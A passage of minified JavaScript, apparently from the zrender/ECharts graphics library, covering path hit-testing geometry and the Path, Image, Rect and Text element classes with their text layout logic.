_=0;_<32&&!(v<mn);_++)f=h-v,p=h+v,wn[0]=kn(t,n,i,a,f),wn[1]=kn(e,r,o,s,f),d=Ft(wn,bn),f>=0&&d<y?(h=f,y=d):(Sn[0]=kn(t,n,i,a,p),Sn[1]=kn(e,r,o,s,p),g=Ft(Sn,bn),p<=1&&g<y?(h=p,y=g):v*=.5);return c&&(c[0]=kn(t,n,i,a,h),c[1]=kn(e,r,o,s,h)),vn(y)}(t,e,n,r,i,o,a,s,u,c,null);return f<=h/2}function zs(t,e,n,r,i,o,a,s,l){if(0===a)return!1;var u=a;if(l>e+u&&l>r+u&&l>o+u||l<e-u&&l<r-u&&l<o-u||s>t+u&&s>n+u&&s>i+u||s<t-u&&s<n-u&&s<i-u)return!1;var c=function(t,e,n,r,i,o,a,s,l){var u,c=.005,h=1/0;bn[0]=a,bn[1]=s;for(var f=0;f<1;f+=.05)wn[0]=Pn(t,n,i,f),wn[1]=Pn(e,r,o,f),(v=Ft(bn,wn))<h&&(u=f,h=v);h=1/0;for(var p=0;p<32&&!(c<mn);p++){var d=u-c,g=u+c;wn[0]=Pn(t,n,i,d),wn[1]=Pn(e,r,o,d);var v=Ft(wn,bn);if(d>=0&&v<h)u=d,h=v;else{Sn[0]=Pn(t,n,i,g),Sn[1]=Pn(e,r,o,g);var y=Ft(Sn,bn);g<=1&&y<h?(u=g,h=y):c*=.5}}return l&&(l[0]=Pn(t,n,i,u),l[1]=Pn(e,r,o,u)),vn(h)}(t,e,n,r,i,o,s,l,null);return c<=u/2}var Fs=2*Math.PI;function Vs(t){return(t%=Fs)<0&&(t+=Fs),t}var Hs=2*Math.PI;function Ws(t,e,n,r,i,o,a,s,l){if(0===a)return!1;var u=a;s-=t,l-=e;var c=Math.sqrt(s*s+l*l);if(c-u>n||c+u<n)return!1;if(Math.abs(r-i)%Hs<1e-4)return!0;if(o){var h=r;r=Vs(i),i=Vs(h)}else r=Vs(r),i=Vs(i);r>i&&(i+=Hs);var f=Math.atan2(l,s);return f<0&&(f+=Hs),f>=r&&f<=i||f+Hs>=r&&f+Hs<=i}function Gs(t,e,n,r,i,o){if(o>e&&o>r||o<e&&o<r)return 0;if(r===e)return 0;var a=(o-e)/(r-e),s=r<e?1:-1;1!==a&&0!==a||(s=r<e?.5:-.5);var l=a*(n-t)+t;return l===i?1/0:l>i?s:0}var Us=Ns.CMD,Xs=2*Math.PI;var Ys=[-1,-1,-1],qs=[-1,-1];function Zs(){var t=qs[0];qs[0]=qs[1],qs[1]=t}function js(t,e,n,r,i,o,a,s,l,u){if(u>e&&u>r&&u>o&&u>s||u<e&&u<r&&u<o&&u<s)return 0;var c=In(e,r,o,s,u,Ys);if(0===c)return 0;for(var h=0,f=-1,p=void 0,d=void 0,g=0;g<c;g++){var v=Ys[g],y=0===v||1===v?.5:1;kn(t,n,i,a,v)<l||(f<0&&(f=Dn(e,r,o,s,qs),qs[1]<qs[0]&&f>1&&Zs(),p=kn(e,r,o,s,qs[0]),f>1&&(d=kn(e,r,o,s,qs[1]))),2===f?v<qs[0]?h+=p<e?y:-y:v<qs[1]?h+=d<p?y:-y:h+=s<d?y:-y:v<qs[0]?h+=p<e?y:-y:h+=s<p?y:-y)}return h}function Ks(t,e,n,r,i,o,a,s){if(s>e&&s>r&&s>o||s<e&&s<r&&s<o)return 0;var l=function(t,e,n,r,i){var o=t-2*e+n,a=2*(e-t),s=t-r,l=0;if(Mn(o))Tn(a)&&(c=-s/a)>=0&&c<=1&&(i[l++]=c);else{var u=a*a-4*o*s;if(Mn(u))(c=-a/(2*o))>=0&&c<=1&&(i[l++]=c);else if(u>0){var c,h=vn(u),f=(-a-h)/(2*o);(c=(-a+h)/(2*o))>=0&&c<=1&&(i[l++]=c),f>=0&&f<=1&&(i[l++]=f)}}return l}(e,r,o,s,Ys);if(0===l)return 0;var u=Rn(e,r,o);if(u>=0&&u<=1){for(var c=0,h=Pn(e,r,o,u),f=0;f<l;f++){var p=0===Ys[f]||1===Ys[f]?.5:1;Pn(t,n,i,Ys[f])<a||(Ys[f]<u?c+=h<e?p:-p:c+=o<h?p:-p)}return c}p=0===Ys[0]||1===Ys[0]?.5:1;return Pn(t,n,i,Ys[0])<a?0:o<e?p:-p}function $s(t,e,n,r,i,o,a,s){if((s-=e)>n||s<-n)return 0;var l=Math.sqrt(n*n-s*s);Ys[0]=-l,Ys[1]=l;var u=Math.abs(r-i);if(u<1e-4)return 0;if(u>=Xs-1e-4){r=0,i=Xs;var c=o?1:-1;return a>=Ys[0]+t&&a<=Ys[1]+t?c:0}if(r>i){var h=r;r=i,i=h}r<0&&(r+=Xs,i+=Xs);for(var f=0,p=0;p<2;p++){var d=Ys[p];if(d+t>a){var g=Math.atan2(s,d);c=o?1:-1;g<0&&(g=Xs+g),(g>=r&&g<=i||g+Xs>=r&&g+Xs<=i)&&(g>Math.PI/2&&g<1.5*Math.PI&&(c=-c),f+=c)}}return f}function Qs(t,e,n,r,i){for(var o,a,s,l,u=t.data,c=t.len(),h=0,f=0,p=0,d=0,g=0,v=0;v<c;){var y=u[v++],m=1===v;switch(y===Us.M&&v>1&&(n||(h+=Gs(f,p,d,g,r,i))),m&&(d=f=u[v],g=p=u[v+1]),y){case Us.M:f=d=u[v++],p=g=u[v++];break;case Us.L:if(n){if(Es(f,p,u[v],u[v+1],e,r,i))return!0}else h+=Gs(f,p,u[v],u[v+1],r,i)||0;f=u[v++],p=u[v++];break;case Us.C:if(n){if(Bs(f,p,u[v++],u[v++],u[v++],u[v++],u[v],u[v+1],e,r,i))return!0}else h+=js(f,p,u[v++],u[v++],u[v++],u[v++],u[v],u[v+1],r,i)||0;f=u[v++],p=u[v++];break;case Us.Q:if(n){if(zs(f,p,u[v++],u[v++],u[v],u[v+1],e,r,i))return!0}else h+=Ks(f,p,u[v++],u[v++],u[v],u[v+1],r,i)||0;f=u[v++],p=u[v++];break;case Us.A:var _=u[v++],x=u[v++],b=u[v++],w=u[v++],S=u[v++],M=u[v++];v+=1;var T=!!(1-u[v++]);o=Math.cos(S)*b+_,a=Math.sin(S)*w+x,m?(d=o,g=a):h+=Gs(f,p,o,a,r,i);var k=(r-_)*w/b+_;if(n){if(Ws(_,x,w,S,S+M,T,e,k,i))return!0}else h+=$s(_,x,w,S,S+M,T,k,i);f=Math.cos(S+M)*b+_,p=Math.sin(S+M)*w+x;break;case Us.R:if(d=f=u[v++],g=p=u[v++],o=d+u[v++],a=g+u[v++],n){if(Es(d,g,o,g,e,r,i)||Es(o,g,o,a,e,r,i)||Es(o,a,d,a,e,r,i)||Es(d,a,d,g,e,r,i))return!0}else h+=Gs(o,g,o,a,r,i),h+=Gs(d,a,d,g,r,i);break;case Us.Z:if(n){if(Es(f,p,d,g,e,r,i))return!0}else h+=Gs(f,p,d,g,r,i);f=d,p=g}}return n||(s=p,l=g,Math.abs(s-l)<1e-4)||(h+=Gs(f,p,d,g,r,i)||0),0!==h}var Js=A({fill:"#000",stroke:null,strokePercent:1,fillOpacity:1,strokeOpacity:1,lineDashOffset:0,lineWidth:1,lineCap:"butt",miterLimit:10,strokeNoScale:!1,strokeFirst:!1},Ka),tl={style:A({fill:!0,stroke:!0,strokePercent:!0,fillOpacity:!0,strokeOpacity:!0,lineDashOffset:!0,lineWidth:!0,miterLimit:!0},$a.style)},el=ui.concat(["invisible","culling","z","z2","zlevel","parent"]),nl=function(t){function e(e){return t.call(this,e)||this}var r;return n(e,t),e.prototype.update=function(){var n=this;t.prototype.update.call(this);var r=this.style;if(r.decal){var i=this._decalEl=this._decalEl||new e;i.buildPath===e.prototype.buildPath&&(i.buildPath=function(t){n.buildPath(t,n.shape)}),i.silent=!0;var o=i.style;for(var a in r)o[a]!==r[a]&&(o[a]=r[a]);o.fill=r.fill?r.decal:null,o.decal=null,o.shadowColor=null,r.strokeFirst&&(o.stroke=null);for(var s=0;s<el.length;++s)i[el[s]]=this[el[s]];i.__dirty|=1}else this._decalEl&&(this._decalEl=null)},e.prototype.getDecalElement=function(){return this._decalEl},e.prototype._init=function(e){var n=H(e);this.shape=this.getDefaultShape();var r=this.getDefaultStyle();r&&this.useStyle(r);for(var i=0;i<n.length;i++){var o=n[i],a=e[o];"style"===o?this.style?I(this.style,a):this.useStyle(a):"shape"===o?I(this.shape,a):t.prototype.attrKV.call(this,o,a)}this.style||this.useStyle({})},e.prototype.getDefaultStyle=function(){return null},e.prototype.getDefaultShape=function(){return{}},e.prototype.canBeInsideText=function(){return this.hasFill()},e.prototype.getInsideTextFill=function(){var t=this.style.fill;if("none"!==t){if(Y(t)){var e=cr(t,0);return e>.5?$r:e>.2?"#eee":Qr}if(t)return Qr}return $r},e.prototype.getInsideTextStroke=function(t){var e=this.style.fill;if(Y(e)){var n=this.__zr;if(!(!n||!n.isDarkMode())===cr(t,0)<.4)return e}},e.prototype.buildPath=function(t,e,n){},e.prototype.pathUpdated=function(){this.__dirty&=-5},e.prototype.getUpdatedPathProxy=function(t){return!this.path&&this.createPathProxy(),this.path.beginPath(),this.buildPath(this.path,this.shape,t),this.path},e.prototype.createPathProxy=function(){this.path=new Ns(!1)},e.prototype.hasStroke=function(){var t=this.style,e=t.stroke;return!(null==e||"none"===e||!(t.lineWidth>0))},e.prototype.hasFill=function(){var t=this.style.fill;return null!=t&&"none"!==t},e.prototype.getBoundingRect=function(){var t=this._rect,e=this.style,n=!t;if(n){var r=!1;this.path||(r=!0,this.createPathProxy());var i=this.path;(r||4&this.__dirty)&&(i.beginPath(),this.buildPath(i,this.shape,!1),this.pathUpdated()),t=i.getBoundingRect()}if(this._rect=t,this.hasStroke()&&this.path&&this.path.len()>0){var o=this._rectStroke||(this._rectStroke=t.clone());if(this.__dirty||n){o.copy(t);var a=e.strokeNoScale?this.getLineScale():1,s=e.lineWidth;if(!this.hasFill()){var l=this.strokeContainThreshold;s=Math.max(s,null==l?4:l)}a>1e-10&&(o.width+=s/a,o.height+=s/a,o.x-=s/a/2,o.y-=s/a/2)}return o}return t},e.prototype.contain=function(t,e){var n=this.transformCoordToLocal(t,e),r=this.getBoundingRect(),i=this.style;if(t=n[0],e=n[1],r.contain(t,e)){var o=this.path;if(this.hasStroke()){var a=i.lineWidth,s=i.strokeNoScale?this.getLineScale():1;if(s>1e-10&&(this.hasFill()||(a=Math.max(a,this.strokeContainThreshold)),function(t,e,n,r){return Qs(t,e,!0,n,r)}(o,a/s,t,e)))return!0}if(this.hasFill())return function(t,e,n){return Qs(t,0,!1,e,n)}(o,t,e)}return!1},e.prototype.dirtyShape=function(){this.__dirty|=4,this._rect&&(this._rect=null),this._decalEl&&this._decalEl.dirtyShape(),this.markRedraw()},e.prototype.dirty=function(){this.dirtyStyle(),this.dirtyShape()},e.prototype.animateShape=function(t){return this.animate("shape",t)},e.prototype.updateDuringAnimation=function(t){"style"===t?this.dirtyStyle():"shape"===t?this.dirtyShape():this.markRedraw()},e.prototype.attrKV=function(e,n){"shape"===e?this.setShape(n):t.prototype.attrKV.call(this,e,n)},e.prototype.setShape=function(t,e){var n=this.shape;return n||(n=this.shape={}),"string"==typeof t?n[t]=e:I(n,t),this.dirtyShape(),this},e.prototype.shapeChanged=function(){return!!(4&this.__dirty)},e.prototype.createStyle=function(t){return mt(Js,t)},e.prototype._innerSaveToNormal=function(e){t.prototype._innerSaveToNormal.call(this,e);var n=this._normalState;e.shape&&!n.shape&&(n.shape=I({},this.shape))},e.prototype._applyStateObj=function(e,n,r,i,o,a){if(t.prototype._applyStateObj.call(this,e,n,r,i,o,a),1!==this.__inHover){var s,l=!(n&&i);if(n&&n.shape?o?i?s=n.shape:(s=I({},r.shape),I(s,n.shape)):(s=I({},i?this.shape:r.shape),I(s,n.shape)):l&&(s=r.shape),s)if(o){this.shape=I({},this.shape);for(var u={},c=H(s),h=0;h<c.length;h++){var f=c[h];"object"==typeof s[f]?this.shape[f]=s[f]:u[f]=s[f]}this._transitionState(e,{shape:u},a)}else this.shape=s,this.dirtyShape()}},e.prototype._mergeStates=function(e){for(var n,r=t.prototype._mergeStates.call(this,e),i=0;i<e.length;i++){var o=e[i];o.shape&&(n=n||{},this._mergeStyle(n,o.shape))}return n&&(r.shape=n),r},e.prototype.getAnimationStyleProps=function(){return tl},e.prototype.isZeroArea=function(){return!1},e.extend=function(t){var r=function(e){function r(n){var r=e.call(this,n)||this;return t.init&&t.init.call(r,n),r}return n(r,e),r.prototype.getDefaultStyle=function(){return k(t.style)},r.prototype.getDefaultShape=function(){return k(t.shape)},r}(e);for(var i in t)"function"==typeof t[i]&&(r.prototype[i]=t[i]);return r},e.initDefaultProps=((r=e.prototype).type="path",r.strokeContainThreshold=5,r.segmentIgnoreThreshold=0,r.subPixelOptimize=!1,r.autoBatch=!1,void(r.__dirty=7)),e}(ts),rl=A({strokeFirst:!0,font:o,x:0,y:0,textAlign:"left",textBaseline:"top",miterLimit:2},Js),il=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n(e,t),e.prototype.hasStroke=function(){return Za(this.style)},e.prototype.hasFill=function(){var t=this.style.fill;return null!=t&&"none"!==t},e.prototype.createStyle=function(t){return mt(rl,t)},e.prototype.setBoundingRect=function(t){this._rect=t},e.prototype.getBoundingRect=function(){var t,e,n;return this._rect||(this._rect=(t=this.style,e=Ya(t.text),n=t.font,qa(t,gi(hi(n),e),xi(n),null))),this._rect},e.initDefaultProps=void(e.prototype.dirtyRectTolerance=10),e}(ts);il.prototype.type="tspan";var ol=A({x:0,y:0},Ka),al={style:A({x:!0,y:!0,width:!0,height:!0,sx:!0,sy:!0,sWidth:!0,sHeight:!0},$a.style)};var sl=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n(e,t),e.prototype.createStyle=function(t){return mt(ol,t)},e.prototype._getSize=function(t){var e=this.style,n=e[t];if(null!=n)return n;var r,i=(r=e.image)&&"string"!=typeof r&&r.width&&r.height?e.image:this.__image;if(!i)return 0;var o="width"===t?"height":"width",a=e[o];return null==a?i[t]:i[t]/i[o]*a},e.prototype.getWidth=function(){return this._getSize("width")},e.prototype.getHeight=function(){return this._getSize("height")},e.prototype.getAnimationStyleProps=function(){return al},e.prototype.getBoundingRect=function(){var t=this.style;return this._rect||(this._rect=new Be(t.x||0,t.y||0,this.getWidth(),this.getHeight())),this._rect},e}(ts);sl.prototype.type="image";var ll=Math.round;function ul(t,e,n){if(e){var r=e.x1,i=e.x2,o=e.y1,a=e.y2;t.x1=r,t.x2=i,t.y1=o,t.y2=a;var s=n&&n.lineWidth;return s?(ll(2*r)===ll(2*i)&&(t.x1=t.x2=cl(r,s,!0)),ll(2*o)===ll(2*a)&&(t.y1=t.y2=cl(o,s,!0)),t):t}}function cl(t,e,n){if(!e)return t;var r=ll(2*t);return(r+ll(e))%2==0?r/2:(r+(n?1:-1))/2}var hl=function(){this.x=0,this.y=0,this.width=0,this.height=0},fl={},pl=function(t){function e(e){return t.call(this,e)||this}return n(e,t),e.prototype.getDefaultShape=function(){return new hl},e.prototype.buildPath=function(t,e){var n,r,i,o;if(this.subPixelOptimize){var a=function(t,e,n){if(e){var r=e.x,i=e.y,o=e.width,a=e.height;t.x=r,t.y=i,t.width=o,t.height=a;var s=n&&n.lineWidth;return s?(t.x=cl(r,s,!0),t.y=cl(i,s,!0),t.width=Math.max(cl(r+o,s,!1)-t.x,0===o?0:1),t.height=Math.max(cl(i+a,s,!1)-t.y,0===a?0:1),t):t}}(fl,e,this.style);n=a.x,r=a.y,i=a.width,o=a.height,a.r=e.r,e=a}else n=e.x,r=e.y,i=e.width,o=e.height;e.r?function(t,e){var n,r,i,o,a,s=e.x,l=e.y,u=e.width,c=e.height,h=e.r;u<0&&(s+=u,u=-u),c<0&&(l+=c,c=-c),"number"==typeof h?n=r=i=o=h:h instanceof Array?1===h.length?n=r=i=o=h[0]:2===h.length?(n=i=h[0],r=o=h[1]):3===h.length?(n=h[0],r=o=h[1],i=h[2]):(n=h[0],r=h[1],i=h[2],o=h[3]):n=r=i=o=0,n+r>u&&(n*=u/(a=n+r),r*=u/a),i+o>u&&(i*=u/(a=i+o),o*=u/a),r+i>c&&(r*=c/(a=r+i),i*=c/a),n+o>c&&(n*=c/(a=n+o),o*=c/a),t.moveTo(s+n,l),t.lineTo(s+u-r,l),0!==r&&t.arc(s+u-r,l+r,r,-Math.PI/2,0),t.lineTo(s+u,l+c-i),0!==i&&t.arc(s+u-i,l+c-i,i,0,Math.PI/2),t.lineTo(s+o,l+c),0!==o&&t.arc(s+o,l+c-o,o,Math.PI/2,Math.PI),t.lineTo(s,l+n),0!==n&&t.arc(s+n,l+n,n,Math.PI,1.5*Math.PI),t.closePath()}(t,e):t.rect(n,r,i,o)},e.prototype.isZeroArea=function(){return!this.shape.width||!this.shape.height},e}(nl);pl.prototype.type="rect";var dl={fill:"#000"},gl={},vl={style:A({fill:!0,stroke:!0,fillOpacity:!0,strokeOpacity:!0,lineWidth:!0,fontSize:!0,lineHeight:!0,width:!0,height:!0,textShadowColor:!0,textShadowBlur:!0,textShadowOffsetX:!0,textShadowOffsetY:!0,backgroundColor:!0,padding:!0,borderColor:!0,borderWidth:!0,borderRadius:!0},$a.style)},yl=function(t){function e(e){var n=t.call(this)||this;return n.type="text",n._children=[],n._defaultStyle=dl,n.attr(e),n}return n(e,t),e.prototype.childrenRef=function(){return this._children},e.prototype.update=function(){t.prototype.update.call(this),this.styleChanged()&&this._updateSubTexts();for(var e=0;e<this._children.length;e++){var n=this._children[e];n.zlevel=this.zlevel,n.z=this.z,n.z2=this.z2,n.culling=this.culling,n.cursor=this.cursor,n.invisible=this.invisible}},e.prototype.updateTransform=function(){var e=this.innerTransformable;e?(e.updateTransform(),e.transform&&(this.transform=e.transform)):t.prototype.updateTransform.call(this)},e.prototype.getLocalTransform=function(e){var n=this.innerTransformable;return n?n.getLocalTransform(e):t.prototype.getLocalTransform.call(this,e)},e.prototype.getComputedTransform=function(){return this.__hostTarget&&(this.__hostTarget.getComputedTransform(),this.__hostTarget.updateInnerText(!0)),t.prototype.getComputedTransform.call(this)},e.prototype._updateSubTexts=function(){var t;this._childCursor=0,Sl(t=this.style),E(t.rich,Sl),this.style.rich?this._updateRichTexts():this._updatePlainTexts(),this._children.length=this._childCursor,this.styleUpdated()},e.prototype.addSelfToZr=function(e){t.prototype.addSelfToZr.call(this,e);for(var n=0;n<this._children.length;n++)this._children[n].__zr=e},e.prototype.removeSelfFromZr=function(e){t.prototype.removeSelfFromZr.call(this,e);for(var n=0;n<this._children.length;n++)this._children[n].__zr=null},e.prototype.getBoundingRect=function(){if(this.styleChanged()&&this._updateSubTexts(),!this._rect){for(var t=new Be(0,0,0,0),e=this._children,n=[],r=null,i=0;i<e.length;i++){var o=e[i],a=o.getBoundingRect(),s=o.getLocalTransform(n);s?(t.copy(a),t.applyTransform(s),(r=r||t.clone()).union(t)):(r=r||a.clone()).union(a)}this._rect=r||t}return this._rect},e.prototype.setDefaultTextStyle=function(t){this._defaultStyle=t||dl},e.prototype.setTextContent=function(t){0},e.prototype._mergeStyle=function(t,e){if(!e)return t;var n=e.rich,r=t.rich||n&&{};return I(t,e),n&&r?(this._mergeRich(r,n),t.rich=r):r&&(t.rich=r),t},e.prototype._mergeRich=function(t,e){for(var n=H(e),r=0;r<n.length;r++){var i=n[r];t[i]=t[i]||{},I(t[i],e[i])}},e.prototype.getAnimationStyleProps=function(){return vl},e.prototype._getOrCreateChild=function(t){var e=this._children[this._childCursor];return e&&e instanceof t||(e=new t),this._children[this._childCursor++]=e,e.__zr=this.__zr,e.parent=this,e},e.prototype._updatePlainTexts=function(){var t=this.style,e=t.font||o,n=t.padding,r=this._defaultStyle,i=t.x||0,a=t.y||0,s=t.align||r.align||"left",l=t.verticalAlign||r.verticalAlign||"top";Ga(gl,r.overflowRect,i,a,s,l),i=gl.baseX,a=gl.baseY;var u=function(t,e,n,r){var i=Ya(t),o=e.overflow,a=e.padding,s=a?a[1]+a[3]:0,l=a?a[0]+a[2]:0,u=e.font,c="truncate"===o,h=xi(u),f=it(e.lineHeight,h),p="truncate"===e.lineOverflow,d=!1,g=e.width;null==g&&null!=n&&(g=n-s);var v,y=e.height;null==y&&null!=r&&(y=r-l);var m=(v=null==g||"break"!==o&&"breakAll"!==o?i?i.split("\n"):[]:i?Wa(i,e.font,g,"breakAll"===o,0).lines:[]).length*f;if(null==y&&(y=m),m>y&&p){var _=Math.floor(y/f);d=d||v.length>_,m=(v=v.slice(0,_)).length*f}if(i&&c&&null!=g)for(var x=Oa(g,u,e.ellipsis,{minChar:e.truncateMinChar,placeholder:e.placeholder}),b={},w=0;w<v.length;w++)Ra(b,v[w],x),v[w]=b.textLine,d=d||b.isTruncated;var S=y,M=0,T=hi(u);for(w=0;w<v.length;w++)M=Math.max(gi(T,v[w]),M);null==g&&(g=M);var k=g;return{lines:v,height:y,outerWidth:k+=s,outerHeight:S+=l,lineHeight:f,calculatedLineHeight:h,contentWidth:M,contentHeight:m,width:g,isTruncated:d}}(Cl(t),t,gl.outerWidth,gl.outerHeight),c=Il(t),h=!!t.backgroundColor,f=u.outerHeight,p=u.outerWidth,d=u.lines,g=u.lineHeight;this.isTruncated=!!u.isTruncated;var v=i,y=_i(a,u.contentHeight,l);if(c||n){var m=mi(i,p,s),_=_i(a,f,l);c&&this._renderBackground(t,t,m,_,p,f)}y+=g/2,n&&(v=kl(i,s,n),"top"===l?y+=n[0]:"bottom"===l&&(y-=n[2]));for(var x=0,b=!1,w=!1,S=(Tl("fill"in t?t.fill:(w=!0,r.fill))),M=(Ml("stroke"in t?t.stroke:h||r.autoStroke&&!w?null:(x=2,b=!0,r.stroke))),T=t.textShadowBlur>0,k=0;k<d.length;k++){var C=this._getOrCreateChild(il),I=C.createStyle();C.useStyle(I),I.text=d[k],I.x=v,I.y=y,s&&(I.textAlign=s),I.textBaseline="middle",I.opacity=t.opacity,I.strokeFirst=!0,T&&(I.shadowBlur=t.textShadowBlur||0,I.shadowColor=t.textShadowColor||"transparent",I.shadowOffsetX=t.textShadowOffsetX||0,I.shadowOffsetY=t.textShadowOffsetY||0),I.stroke=M,I.fill=S,M&&(I.lineWidth=t.lineWidth||x,I.lineDash=t.lineDash,I.lineDashOffset=t.lineDashOffset||0),I.font=e,wl(I,t),y+=g,C.setBoundingRect(qa(I,u.contentWidth,u.calculatedLineHeight,b?0:null))}},e.prototype._updateRichTexts=function(){var t=this.style,e=this._defaultStyle,n=t.align||e.align,r=t.verticalAlign||e.verticalAlign,i=t.x||0,o=t.y||0;Ga(gl,e.overflowRect,i,o,n,r),i=gl.baseX,o=gl.baseY;var a=function(t,e,n,r,i){var o=new za,a=Ya(t);if(!a)return o;var s=e.padding,l=s?s[1]+s[3]:0,u=s?s[0]+s[2]:0,c=e.width;null==c&&null!=n&&(c=n-l);var h=e.height;null==h&&null!=r&&(h=r-u);for(var f,p=e.overflow,d="break"!==p&&"breakAll"!==p||null==c?null:{width:c,accumWidth:0,breakAll:"breakAll"===p},g=La.lastIndex=0;null!=(f=La.exec(a));){var v=f.index;v>g&&Fa(o,a.substring(g,v),e,d),Fa(o,f[2],e,d,f[1]),g=La.lastIndex}g<a.length&&Fa(o,a.substring(g,a.length),e,d);var y=[],m=0,_=0,x="truncate"===p,b="truncate"===e.lineOverflow,w={};function S(t,e,n){t.width=e,t.lineHeight=n,m+=n,_=Math.max(_,e)}t:for(var M=0;M<o.lines.length;M++){for(var T=o.lines[M],k=0,C=0,I=0;I<T.tokens.length;I++){var D=(V=T.tokens[I]).styleName&&e.rich[V.styleName]||{},A=V.textPadding=D.padding,L=A?A[1]+A[3]:0,P=V.font=D.font||e.font;V.contentHeight=xi(P);var O=it(D.height,V.contentHeight);if(V.innerHeight=O,A&&(O+=A[0]+A[2]),V.height=O,V.lineHeight=ot(D.lineHeight,e.lineHeight,O),V.align=D&&D.align||i,V.verticalAlign=D&&D.verticalAlign||"middle",b&&null!=h&&m+V.lineHeight>h){var R=o.lines.length;I>0?(T.tokens=T.tokens.slice(0,I),S(T,C,k),o.lines=o.lines.slice(0,M+1)):o.lines=o.lines.slice(0,M),o.isTruncated=o.isTruncated||o.lines.length<R;break t}var N=D.width,E=null==N||"auto"===N;if("string"==typeof N&&"%"===N.charAt(N.length-1))V.percentWidth=N,y.push(V),V.contentWidth=gi(hi(P),V.text);else{if(E){var B=D.backgroundColor,z=B&&B.image;z&&Aa(z=Ca(z))&&(V.width=Math.max(V.width,z.width*O/z.height))}var F=x&&null!=c?c-C:null;null!=F&&F<V.width?!E||F<L?(V.text="",V.width=V.contentWidth=0):(Pa(w,V.text,F-L,P,e.ellipsis,{minChar:e.truncateMinChar}),V.text=w.text,o.isTruncated=o.isTruncated||w.isTruncated,V.width=V.contentWidth=gi(hi(P),V.text)):V.contentWidth=gi(hi(P),V.text)}V.width+=L,C+=V.width,D&&(k=Math.max(k,V.lineHeight))}S(T,C,k)}for(o.outerWidth=o.width=it(c,_),o.outerHeight=o.height=it(h,m),o.contentHeight=m,o.contentWidth=_,o.outerWidth+=l,o.outerHeight+=u,M=0;M<y.length;M++){var V,H=(V=y[M]).percentWidth;V.width=parseInt(H,10)/100*o.width}return o}(Cl(t),t,gl.outerWidth,gl.outerHeight,n),s=a.width,l=a.outerWidth,u=a.outerHeight,c=t.padding;this.isTruncated=!!a.isTruncated;var h=mi(i,l,n),f=_i(o,u,r),p=h,d=f;c&&(p+=c[3],d+=c[0]);var g=p+s;Il(t)&&this._renderBackground(t,t,h,f,l,u);for(var v=!!t.backgroundColor,y=0;y<a.lines.length;y++){for(var m=a.lines[y],_=m.tokens,x=_.length,b=m.lineHeight,w=m.width,S=0,M=p,T=g,k=x-1,C=void 0;S<x&&(!(C=_[S]).align||"left"===C.align);)this._placeToken(C,t,b,d,M,"left",v),w-=C.width,M+=C.width,S++;for(;k>=0&&"right"===(C=_[k]).align;)this._placeToken(C,t,b,d,T,"right",v),w-=C.width,T-=C.width,k--;for(M+=(s-(M-p)-(g-T)-w)/2;S<=k;)C=_[S],this._placeToken(C,t,b,d,M+C.width/2,"center",v),M+=C.width,S++;d+=b}},e.prototype._placeToken=function(t,e,n,r,i,a,s){var l=e.rich[t.styleName]||{};l.text=t.text;var u=t.verticalAlign,c=r+n/2;"top"===u?c=r+t.height/2:"bottom"===u&&(c=r+n-t.height/2),!t.isLineHolder&&Il(l)&&this._renderBackground(l,e,"right"===a?i-t.width:"center"===a?i-t.width/2:i,c-t.height/2,t.width,t.height);var h=!!l.backgroundColor,f=t.textPadding;f&&(i=kl(i,a,f),c-=t.height/2-f[0]-t.innerHeight/2);var p=this._getOrCreateChild(il),d=p.createStyle();p.useStyle(d);var g=this._defaultStyle,v=!1,y=0,m=!1,_=Tl("fill"in l?l.fill:"fill"in e?e.fill:(v=!0,g.fill)),x=Ml("stroke"in l?l.stroke:"stroke"in e?e.stroke:h||s||g.autoStroke&&!v?null:(y=2,m=!0,g.stroke)),b=l.textShadowBlur>0||e.textShadowBlur>0;d.text=t.text,d.x=i,d.y=c,b&&(d.shadowBlur=l.textShadowBlur||e.textShadowBlur||0,d.shadowColor=l.textShadowColor||e.textShadowColor||"transparent",d.shadowOffsetX=l.textShadowOffsetX||e.textShadowOffsetX||0,d.shadowOffsetY=l.textShadowOffsetY||e.textShadowOffsetY||0),d.textAlign=a,d.textBaseline="middle",d.font=t.font||o,d.opacity=ot(l.opacity,e.opacity,1),wl(d,l),x&&(d.lineWidth=ot(l.lineWidth,e.lineWidth,y),d.lineDash=it(l.lineDash,e.lineDash),d.lineDashOffset=e.lineDashOffset||0,d.stroke=x),_&&(d.fill=_),p.setBoundingRect(qa(d,t.contentWidth,t.contentHeight,m?0:null))},e.prototype._renderBackground=function(t,e,n,r,i,o){var a,s,l,u=t.backgroundColor,c=t.borderWidth,h=t.borderColor,f=u&&u.image,p=u&&!f,d=t.borderRadius,g=this;if(p||t.lineHeight||c&&h){(a=this._getOrCreateChild(pl)).useStyle(a.createStyle()),a.style.fill=null;var v=a.shape;v.x=n,v.y=r,v.width=i,v.height=o,v.r=d,a.dirtyShape()}if(p)(l=a.style).fill=u||null,l.fillOpacity=it(t.fillOpacity,1);else if(f){(s=this._getOrCreateChild(sl)).onload=function(){g.dirtyStyle()};var y=s.style;y.image=u.image,y.x=n,y.y=r,y.width=i,y.height=o}c&&h&&((l=a.style).lineWidth=c,l.stroke=h,l.strokeOpacity=it(t.strokeOpacity,1),l.lineDash=t.borderDash,l.lineDashOffset=t.borderDashOffset||0,a.strokeContainThreshold=0,a.hasFill()&&a.hasStroke()&&(l.strokeFirst=!0,l.lineWidth*=2));var m=(a||s).style;m.shadowBlur=t.shadowBlur||0,m.shadowColor=t.shadowColor||"transparent",m.shadowOffsetX=t.shadowOffsetX||0,m.shadowOffsetY=t.shadowOffsetY||0,m.opacity=ot(t.opacity,e.opacity,1)},e.makeFont=function(t){var e="";return function(t){return null!=t.fontSize||t.fontFamily||t.fontWeight}(t)&&(e=[t.fontStyle,t.fontWeight,bl(t.fontSize),t.fontFamily||"sans-serif"].join(" ")),e&&ut(e)||t.textFont||t.font},e}(ts),ml={left:!0,right:1,center:1},_l={top:1,bottom:1,middle:1},xl=["fontStyle","fontWeight","fontSize","fontFamily"];function bl(t){return"string"!=typeof t||-1===t.indexOf("px")&&-1===t.indexOf("rem")&&-1===t.indexOf("em")?isNaN(+t)?"12px":t+"px":t}function wl(t,e){for(var n=0;n<xl.length;n++){var r=xl[n],i=e[r];null!=i&&(t[r]=i)}}function Sl(t){if(t){t.font=yl.makeFont(t);var e=t.align;"middle"===e&&(e="center"),t.align=null==e||ml[e]?e:"left";var n=t.verticalAlign;"center"===n&&(n="middle"),t.verticalAlign=null==n||_l[n]?n:"top",t.padding&&(t.padding=st(t.padding))}}function Ml(t,e){return 